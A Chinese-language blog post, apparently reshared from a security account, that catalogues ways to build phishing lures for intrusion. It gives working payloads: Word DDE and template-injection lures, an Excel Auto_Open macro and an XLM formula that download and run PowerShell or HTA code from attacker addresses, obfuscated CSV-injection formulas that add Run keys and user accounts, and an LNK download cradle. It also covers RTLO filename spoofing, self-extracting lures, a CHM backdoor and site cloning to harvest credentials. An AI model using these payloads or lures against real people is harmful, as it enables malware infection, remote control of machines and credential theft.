钓鱼攻击手法小结(一)

时间:2022-09-30 08:07:54

前言

在所有的APT攻击中,社工钓鱼这种攻击手法是肯定不会缺席的,可能是打点突破,可能是内网扩散,那么对于学习社工钓鱼所用到的恶意文件的制作就非常有必要。 

恶意文件制作基础手法

office-word

Word宏钓鱼

钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png

AutoExec:启动 Word 或加载全局模板时
AutoNew:每次新建文档时
AutoOpen:每次打开已有文档时
AutoClose:每次关闭文档时
AutoExit:退出 Word 或卸载全局模板时

AutoClose比较好

Word模板文件注入宏指令

利用 Word 文档加载附加模板时的缺陷所发起的恶意请求,而达到的攻击目的,所以当目标用户点开攻击者发送的恶意 Word 文档就可以通过向远程服务器发送恶意请求的方式,然后加载模板执行恶意模板的宏。

  1. 先挑个模板创建一个正常的docx文件

钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png
  1. 然后弄个带宏的模板文件dotm

宏设置为AutoClose比较好

  1. 然后修改Setting.xml.rels内的target为dotm文件的路径

钓鱼攻击手法小结(一)
image.png

最关键的是此处支持smb和http协议,也就是后面的恶意dotm文件可以放在自己的服务器上!

Target="http://www.baidu.com/hong.dotm"

Word DDE钓鱼文档

DDE,动态数据交换。
创建一个文档 dde.docx , 之后双击打开 dde.docx, 直接 Ctrl + f9 快捷键便可以快速帮助创建一个域,我们则只需要在花括号中添加如下指令 (弹出一个计算器), 实战过程中可以远程加载我们的木马。

DDEAUTOc:\\windows\\system32\\cmd.exe"\/k calc.exe"
钓鱼攻击手法小结(一)
image.png

钓鱼攻击手法小结(一)
image.png
DDEAUTO"C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.2.148:8000/beacon.ps1'); # ""Microsoft Document Security Add-On"

word OLE 外部对象注入

钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png

office-Excel

Excel宏钓鱼

钓鱼攻击手法小结(一)
image.png
Sub Auto_Open()
    Execute

End Sub


Public Function Execute() As Variant
    Const HIDDEN_WINDOW = 0
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
                Set objConfig = objStartup.SpawnInstance_
                    objConfig.ShowWindow = HIDDEN_WINDOW
                    Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
                        objProcess.Create "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.5.223/E.ps1'));", Null, objConfig, intProcessID
                    End Function

XLM / Macro 4.0 宏钓鱼

测试版本:office 21013

钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png

第一个单元格的命名须为:Auto_Open,然后把工作表设置为隐藏就可以了。


=EXEC("c:\windows\system32\cmd.exe")
=HALT()

实战可采用:

钓鱼攻击手法小结(一)
image.png
=EXEC("mshta http://192.168.5.223:80/evil.hta")
=HALT()
钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png

注意:别使用编码形式的,如:powershell -ep bypass -ec SQBFAFgAKABOAG

csv注入

csv注入是一种将包含恶意命令的excel公式插入到可以导出csv或xls等格式的文本中,当在excel中打开csv文件时,文件会转换为excel格式并提供excel公式的执行功能,会造成命令执行问题。

漏洞原理
Excel的一个特性,当单元格中内容以=-+@等符号开头时,excel将会将其当成一个公式处理。
所以当我们输入=1+1时,excel会自动将其计算
那么利用这个办法,把等号后面的内容改为执行cmd命令控制其打开一个计算器

=1+cmd|' /C calc'!A0

修改注册表

=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0

添加用户名

=cmd|'/C net user test 123456 /add'!A0+

很多场景下服务器会过滤=,但是在excel中,+,-,@等也可以触发公式

-cmd|' /C calc'!A0
+cmd|' /C calc'!A0
@SUM(cmd|'/c calc'!A0)

%0A绕过自动添加单引号

%0A-1+cmd|' /C calc'!A0

;绕过自动添加单引号

;-1+cmd|' /C calc'!A0
钓鱼攻击手法小结(一)
image.png

在开源的openoffice中可以直接只有DDE函数,像=DDE(“cmd”;”/C calc”;”123”)这样调用。
而在正规的office套件中则移除了DDE函数,但是我们还是可以使用application|topic!item这一格式的三元表达式调用DDE。注意:该方法的提示窗口只提示application而不提示topic。


1、当excel遇到+和-会自动填充=成为公式,如

+thespnquisition(cmd|'/c calc.exe'!A

2、若打开的外部应用为8字符,excel自动忽略后面的字符,如下面的两个作用相同:

=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A

3、将其他表达式或空格填充在恶意表达式之前

=AA+BB-CC&"Hello"/12345&cmd|'/c calc.exe'!A

4、通过windows batch的语法特性,填充无意义或是不影响执行逻辑的字符和指令,将topic字段混淆,如文章开始处的payload:

=cmd|'/c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1

/c是cmd参数,表示执行后关闭窗口
REM表示后面的内容是注释
.表示空行,用于终止之前的REM
&&表示如果前一条指令执行成功则执行后一条指令
@ 表示执行窗口不显示后面的命令
^表示转义,此处无实际意义,只是用来混淆powershell这一敏感词
?表示powershell通配符,其中匹配任意字符串,?匹配1个字符,此处能唯一定位到c:/windows/system32/calc.exe
“无实际用途,删了也没啥区别
所以经过解析后,实际执行的命令是:
cmd.exe /c powershell c:/windows/system32/calc.exe
当然,也可以使用字符串拼接的特性,将命令变为下面这样:

=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1
钓鱼攻击手法小结(一)
image.png

msf也集成了这种攻击方法:
钓鱼攻击手法小结(一)
image.png

IQY特性

利用这个特性,可以把实际的payload放在自己的云端。

钓鱼攻击手法小结(一)
image.png

payload.html就是放在我们的vps的,到时候想更新payload,就更新vps的payload.html即可。

EXE钓鱼

直接把恶意木马换个名字发到目标去,可以把文件名设置的长一点,并且加上空格,这样就没那么容易看到后缀名了。

HTA文件钓鱼

HTA是HTML Application的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件。
HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多,它具有桌面程序的所有权限。
就是一个html应用程序,双击就能运行。
Cobalt Strike,attacks——>packages——>HTML application

钓鱼攻击手法小结(一)
image.png

选择powershell然后单机generate,选择保存路径。将生成的.hta文件发送给别人,点击后获得shell。


LNK快捷方式钓鱼

$file = Get-Content "test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\dark5\desktop\test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = ''+ $file
$Shortcut.Save()

test.txt的内容为:

cmd.exe /c powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.5.163:80/a'))"
钓鱼攻击手法小结(一)
image.png

RTLO字符翻转

RLO,即 Right-to-Left Override,我们可以在⽂件名中插⼊此类 unicode 字符,来达到⽂件名反转的效果。

以 cmd.exe 来举例,

将其重命名为 cmdgpj.exe, 然后在 cmd 与 g 之间右键,看图操作

钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png

其中,改名后的exe字符不能去掉,否则就不是以应用程序启动了。


Rar解压自运行

先给恶意程序改名,比如改成adobe_Reader.exe,可以同时跟多个程序一起制作自解压程序,比如可以跟flash安装程序,或者是doc文件,这样自解压程序被启动的时候就会启动flash安装程序,达到迷惑被害人的目的。

钓鱼攻击手法小结(一)
image.png

钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png

到此就全部完成:

钓鱼攻击手法小结(一)
image.png

然后可以做RLO反转,修改图标。

power query DDE

参考:https://xz.aliyun.com/t/5514
https://lengjibo.github.io/execl/
其他参考:利用Excel power query实现远程DDE执行【未仔细看】

PPT 动作按钮特性构造 PPSX 钓鱼

钓鱼攻击手法小结(一)
image.png

尽量拉满整个PPT页,然后设置动作

钓鱼攻击手法小结(一)
image.png

那么在放映的时候鼠标经过,就会运行,
钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)

嵌入js元素

这个说实话需要一点js功底。。
这个方式的原理是,如果我们往word中插入联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。
一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作(打开word文件会报错),好迷

我看了一个POC,里面是通过构造二进制数据交给BLOB对象处理,并自动点击由BLOB对象生成的url实现下载二进制数据,而这些二进制数据实质上是恶意文件。
因为我搞不来那个二进制数据怎么产生,所以这个方法暂时只做了解吧。。
而且我看的那个文章的POC在我的word2016里不能正常工作,不知道是什么原因
reference:https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload

CHM电子书植入后门

新建html文件,编码格式ANSI,写入代码

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
  command exec
  <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
    <PARAM name="Command" value="ShortCut">
    <PARAM name="Button" value="Bitmap::shortcut">
    <PARAM name="Item1" value=',cmd.exe,/c calc.exe'>
    //这一排用于执行命令,注意cmd.exe前后都有,或者<PARAM name="Item1" value=',powershell.exe,-c calc.exe'>也行
    <PARAM name="Item2" value="273,1,1">
  </OBJECT>
  <SCRIPT>
    x.Click();
  
</SCRIPT>
</body></html>

使用easychm软件,新建-浏览-选择html文件所在目录-选择html文件-编译

钓鱼攻击手法小结(一)
image.png

反编译chm文件:hh.exe -decompile d:\Readme\ D:\Readme.chm

站点克隆

就是克隆某个站点的内容。
意欲何为?
假设目标时常会登录一个站点,我们想获取的他登录这个站点的凭证,就可以克隆该站点,然后以网站官方发邮箱跟他说,你的密码存在存在风险,请修改,再给出一个链接,当然域名要伪造的像一点,它打开就是我们伪造的站点了,跟它平常登录的一模一样。

CobaltStrike - Clone Site

钓鱼攻击手法小结(一)
image.png
钓鱼攻击手法小结(一)
image.png

但是不能克隆https的……

小飞兔下载

钓鱼攻击手法小结(一)
image.png

其实我觉得就是把POST的地址改成真正的就可以了,当然也要记录好凭证。

重定向钓鱼

使用相关漏洞钓鱼

CVE-2017-11882
CVE-2021-40444 https://www.freebuf.com/vuls/289224.html

本文分享自微信公众号 - 黑白天实验室(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。